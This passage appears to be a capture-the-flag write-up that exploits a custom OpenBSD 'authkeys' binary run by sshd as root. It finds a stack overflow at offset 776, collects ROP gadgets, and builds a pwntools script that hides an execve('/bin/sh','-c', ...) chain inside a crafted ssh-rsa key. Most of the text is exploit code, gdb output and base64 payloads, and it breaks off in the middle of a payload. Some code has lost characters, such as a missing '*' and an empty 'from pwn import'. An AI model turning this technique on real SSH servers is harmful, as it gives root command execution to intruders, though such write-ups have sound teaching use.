There is a note left in ~/authkeys stating that an authkeys command was enabled in the attended gateway but not in the attended machine:

attended$ cd ~/authkeys

attended$ ls -la

  total 24
  drwxr-x---  2 freshness  freshness   512 Nov 16 13:57 .
  drwxr-x---  4 freshness  freshness   512 Nov 12 16:56 ..
  -rw-r--r--  1 root       wheel      5424 Nov 16 13:35 authkeys
  -rw-r-----  1 root       freshness   178 Nov  6  2019 note.txt

attended$ cat note.txt

  on attended:
  [ ] enable authkeys command for sshd
  [x] remove source code
  [ ] use nobody
  on attendedgw:
  [x] enable authkeys command for sshd
  [x] remove source code
  [ ] use nobody

Based on /etc/ssh/sshd_config, the authkeys command takes four arguments and is owned by root:

attended$ cat /etc/ssh/sshd_config

  #AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k
  #AuthorizedKeysCommandUser root

Based on the OpenBSD sshd_config documentation:

%f

The fingerprint of the key or certificate.

%h

The home directory of the user.

%t

The key or certificate type.

%k

The base64-encoded key or certificate for authentication.

5.2 MY OWN OPENBSD INSTANCE

I created my own local OpenBSD instance to aid in exploiting the authkeys binary and inside, I edited the sshd_config file:

$ ssh -l jebidiah 192.168.222.134

obsd$ cat /etc/ssh/sshd_config

  AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k
  AuthorizedKeysCommandUser root

5.3 FINDING THE BUFFER OVERFLOW

Looking at the disassembly of something is written to 0x6010c0:

 0x400345 [os]
; CODE XREF from entry0 @ 0x40033e
0x00400345 4889c1         mov rcx, rax
0x00400348 48bfc0106000.  movabs rdi, 0x6010c0
0x00400352 4889e6         mov rsi, rsp
0x00400355 f3a4           rep movsb byte [rdi], byte ptr [rsi]
0x00400357 4c89e6         mov rsi, r12
0x0040035a 4881c4000300.  add rsp, 0x300
0x00400361 4831c0         xor rax, rax
0x00400364 4831f6         xor rsi, rsi
0x00400367 4889f7         mov rdi, rsi
0x0040036a 5a             pop rdx
0x0040036b c3             ret

And based on gdb that address is part of the .data segment of the memory which is the corresponding virtual address space of a program that contains initialized static variables:

obsd$ gdb authkeys

(gdb) info files
Symbols from "/home/jebidiah/authkeys".
Local exec file:
	`/home/jebidiah/authkeys', file type elf64-x86-64.
	Entry point: 0x400240
	0x0000000000400240 - 0x00000000004003d2 is .text
	0x00000000005003d2 - 0x00000000005003ea is .note.openbsd.ident
	0x0000000000601000 - 0x00000000006013c0 is .data

Since I know that the key should be base64 encoded, I created an encoded string of "A"s:

$ python -c 'print "A" * 100' | base64 | tr -d '\n'

Then running it in gdb and setting a breakpoint to 0x00400361:

(gdb) break * 0x00400361

(gdb) run 1 2 ssh-rsa QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQo=

(gdb) x/12xg 0x6010c0

  0x6010c0:	0x4141414141414141	0x4141414141414141
  0x6010d0:	0x4141414141414141	0x4141414141414141
  0x6010e0:	0x4141414141414141	0x4141414141414141
  0x6010f0:	0x4141414141414141	0x4141414141414141
  0x601100:	0x4141414141414141	0x4141414141414141
  0x601110:	0x4141414141414141	0x4141414141414141

The keys argument is decoded and written to 0x6010c0. Now, to create a long enough buffer to induce a segmentation fault:

$ msf-pattern_create -l 1000 | base64 | tr -d '\n'
(gdb) break * 0x00400361

(gdb) run 1 2 ssh-rsa QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc2QWc3QWc4QWc5QWgwQWgxQWgyQWgzQWg0QWg1QWg2QWg3QWg4QWg5QWkwQWkxQWkyQWkzQWk0QWk1QWk2QWk3QWk4QWk5QWowQWoxQWoyQWozQWo0QWo1QWo2QWo3QWo4QWo5QWswQWsxQWsyQWszQWs0QWs1QWs2QWs3QWs4QWs5QWwwQWwxQWwyQWwzQWw0QWw1QWw2QWw3QWw4QWw5QW0wQW0xQW0yQW0zQW00QW01QW02QW03QW04QW05QW4wQW4xQW4yQW4zQW40QW41QW42QW43QW44QW45QW8wQW8xQW8yQW8zQW80QW81QW82QW83QW84QW85QXAwQXAxQXAyQXAzQXA0QXA1QXA2QXA3QXA4QXA5QXEwQXExQXEyQXEzQXE0QXE1QXE2QXE3QXE4QXE5QXIwQXIxQXIyQXIzQXI0QXI1QXI2QXI3QXI4QXI5QXMwQXMxQXMyQXMzQXM0QXM1QXM2QXM3QXM4QXM5QXQwQXQxQXQyQXQzQXQ0QXQ1QXQ2QXQ3QXQ4QXQ5QXUwQXUxQXUyQXUzQXU0QXU1QXU2QXU3QXU4QXU5QXYwQXYxQXYyQXYzQXY0QXY1QXY2QXY3QXY4QXY5QXcwQXcxQXcyQXczQXc0QXc1QXc2QXc3QXc4QXc5QXgwQXgxQXgyQXgzQXg0QXg1QXg2QXg3QXg4QXg5QXkwQXkxQXkyQXkzQXk0QXk1QXk2QXk3QXk4QXk5QXowQXoxQXoyQXozQXo0QXo1QXo2QXo3QXo4QXo5QmEwQmExQmEyQmEzQmE0QmE1QmE2QmE3QmE4QmE5QmIwQmIxQmIyQmIzQmI0QmI1QmI2QmI3QmI4QmI5QmMwQmMxQmMyQmMzQmM0QmM1QmM2QmM3QmM4QmM5QmQwQmQxQmQyQmQzQmQ0QmQ1QmQ2QmQ3QmQ4QmQ5QmUwQmUxQmUyQmUzQmU0QmU1QmU2QmU3QmU4QmU5QmYwQmYxQmYyQmYzQmY0QmY1QmY2QmY3QmY4QmY5QmcwQmcxQmcyQmczQmc0Qmc1Qmc2Qmc3Qmc4Qmc5QmgwQmgxQmgyQgo=

(gdb) c

  Continuing.

  Program received signal SIGSEGV, Segmentation fault.
  0x000000000040036b in ?? ()

(gdb) x/xg $rsp

  0x7f7ffffd45d8:	0x42306142397a4138

Checking at what offset in the buffer the return address was overwritten with:

$ msf-pattern_offset -l 1000 -q 42306142397a4138

  [*] Exact match at offset 776

The return address is overwritten after 776 bytes!

5.4 STARTING THE EXPLOIT CODE

The payload offset is adjusted by 22 bytes for the added bytes by the SSH key constructor and another 8 bytes for the consideration of RBP and finally writing the new return address:

from Crypto.PublicKey import RSA
from pwn import 

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16)
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Payload Buffer====================================================

payload = ""
payload += "A"  (768 - 22)	                # buffer
payload += "B"  8          			# rbp
payload += "C"  8                      # ret addr

# Payload Generation================================================

generateRSAPublicKey(payload)

Checking in with gdb, the return address is now "CCCCCCCC":

$ python3 test.py

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC+kFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkJDQ0NDQ0NDQw==
(gdb) break * 0x00400361

(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC+kFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkJDQ0NDQ0NDQw==

(gdb) c

  Continuing.

  Program received signal SIGSEGV, Segmentation fault.
  0x000000000040036b in ?? ()

(gdb) x/xg $rsp

  0x7f7ffffd45d8:	0x4343434343434343

5.5 ROP GADGETS

There is a syscall instruction available so perhaps execve() may be an option:

$ python3 -m ropper -f authkeys

  0x00000000004003cf: syscall;
  0x00000000004003cf: syscall; ret;

Checking if there’s a way to control RAX, there are a few gadgets that can help set the desired value for the register:

$ python3 -m ropper -f authkeys

  0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
  0x000000000040036d: not al; adc cl, 0xe8; ret;
  0x0000000000400370: shr eax, 1; ret;

Finally, gadgets that can help set the values of RDI, RSI, and RDX which requires conversion from a single precision floating point value to an integer and a pointer assignment for RDX when used with movups:

$ python3 -m ropper -f authkeys

  0x0000000000400380: cvtss2si esi, xmm0; ret;
  0x0000000000400367: mov rdi, rsi; pop rdx; ret;
  0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
  0x000000000040036a: pop rdx; ret;

5.6 CONTROLLING RAX

The binary value of "3B" (execve syscall) is "111011". What will happen when mov eax, 0xffffffff; xor rcx, rcx; ret; is that RAX will be set to 0xFFFFFFFF or 11111111111111111111111111111111.

From there we can use right bitshifts and the not operator to get the correct value but take note that the not al operator only converts the last two bytes so if our current value is the one mentioned earlier, 0xFFFFFFFF, we need to shift the bits to the right 24 times to achieve 0x000000FF:

# After shifting 24 bits:
HEX         BINARY                              INSTRUCTION
--------    --------------------------------    --------------------------
000000FF    00000000000000000000000011111111
0000007F    00000000000000000000000001111111    shr eax, 1; ret;
00000080    00000000000000000000000010000000    not al; adc cl, 0xe8; ret;
00000040    00000000000000000000000001000000    shr eax, 1; ret;
00000020    00000000000000000000000000100000    shr eax, 1; ret;
00000010    00000000000000000000000000010000    shr eax, 1; ret;
000000EF    00000000000000000000000011101111    not al; adc cl, 0xe8; ret;
00000077    00000000000000000000000001110111    shr eax, 1; ret;
0000003B    00000000000000000000000000111011    shr eax, 1; ret;

Translating the following into the exploit code:

from Crypto.PublicKey import RSA
from pwn import 

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Payload Buffer====================================================

payload = ""
payload += "A"  (768 - 22)	            # buffer
payload += "B" * 8          			# rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			# mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  		# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;

payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)

Now trying the new payload from exploit code:

$ python test.py

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAAAAAAAAAAAAAQ==
(gdb) break * 0x00400361

(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAAAAAAAAAAAAAQ==

(gdb) c

  Continuing.

  Program received signal SIGSEGV, Segmentation fault.
  0x0000000000400372 in ?? ()

(gdb) info register $rax

  rax            0x3b	59

The RAX register has been controlled!

5.7 CONTROLLING RDI, RSI, AND RDX

These three registers will serve as the arguments for the execve function:

int execve(const char pathname, char const argv[], char *const envp[]);

Based on the OpenBSD sshd_config documentation:

RDI

const char *pathname

/bin/sh

RSI

char *const argv[]

["/bin/sh", "-c", "<command>"]

RDX

char *const envp[]

NULL

However, controlling the three registers is a bit tricky using the following gadgets:

$ python3 -m ropper -f authkeys

  0x0000000000400380: cvtss2si esi, xmm0; ret;
  0x0000000000400367: mov rdi, rsi; pop rdx; ret;
  0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
  0x000000000040036a: pop rdx; ret;

To set the value of RDI, the process will go as follows:

  1. Set the value of RDX to be the pointer to the address of your intended RDI. The value of RDX should be a floating point number since it will be converted later on to the desired value.

  2. Convert the value of RDX from a single precision floating point number to an integer using the cvtss2si gadget which will set its value to RSI.

  3. Move the value to RDI from RSI.

I created a function to that will convert the address to its single precision floating point number equivalent:

def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa

    return int(binary_string, 2)

To set the value of RSI, just follow the steps above from 1 until 3. Finally, to set the value of RDX, there is simply a pop rdx; ret gadget available. With all this information, the exploit code has been modified to the following:

from Crypto.PublicKey import RSA
from pwn import 

# Floating Point Conversion=========================================

def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa

    return int(binary_string, 2)

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Command Execution Payload=========================================

payload = ""
payload += p64(convertAddressToFP(0x006010d6 + 0x30))
payload += p64(convertAddressToFP(0x006010d6 + 0x10))
payload += p64(0x006010d6 + 0x30)
payload += p64(0x006010d6 + 0x38)
payload += p64(0x006010d6 + 0x40)
payload += p64(0)
payload += "/bin/sh" + "\x00"
payload += "-c" + ("\x00"  6)
payload += "echo $(id) > /tmp/jebidiah" + "\x00"        # TEST COMMAND

# Payload Buffer====================================================

payload += "A"  (768 - 22 - len(payload))	            # buffer
payload += "B"  8          			                # rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			# mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  		# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;

# Controlling RDI, RSI, RDX=========================================

payload += p64(0x0040036a)			    # pop rdx; ret;
payload += p64(0x006010d6)			    # RDI -> Pointer to "/bin/sh"
payload += p64(0x0040037c)			    # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			    # cvtss2si esi, xmm0; ret;
payload += p64(0x00400367)			    # mov rdi, rsi; pop rdx; ret;
payload += p64(0x006010d6 + 0x08)	    # RSI -> Pointer to argv addresses
payload += p64(0x0040037c)			    # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			    # cvtss2si esi, xmm0; ret;
payload += p64(0x0040036a)			    # pop rdx; ret;
payload += p64(0)				        # RDX set to NULL

payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)
$ python test.py

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEUgwiwEoAAAAAzCHASgAAAAAGEWAAAAAAAA4RYAAAAAAAFhFgAAAAAAAAAAAAAAAAAC9iaW4vc2gALWMAAAAAAABlY2hvICQoaWQpID4gL3RtcC9qZWJpZGlhaABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAABqA0AAAAAAANYQYAAAAAAAfANAAAAAAACAA0AAAAAAAGcDQAAAAAAA3hBgAAAAAAB8A0AAAAAAAIADQAAAAAAAagNAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
(gdb) break * 0x0040036a

(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEUgwiwEoAAAAAzCHASgAAAAAGEWAAAAAAAA4RYAAAAAAAFhFgAAAAAAAAAAAAAAAAAC9iaW4vc2gALWMAAAAAAABlY2hvICQoaWQpID4gL3RtcC9qZWJpZGlhaABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAA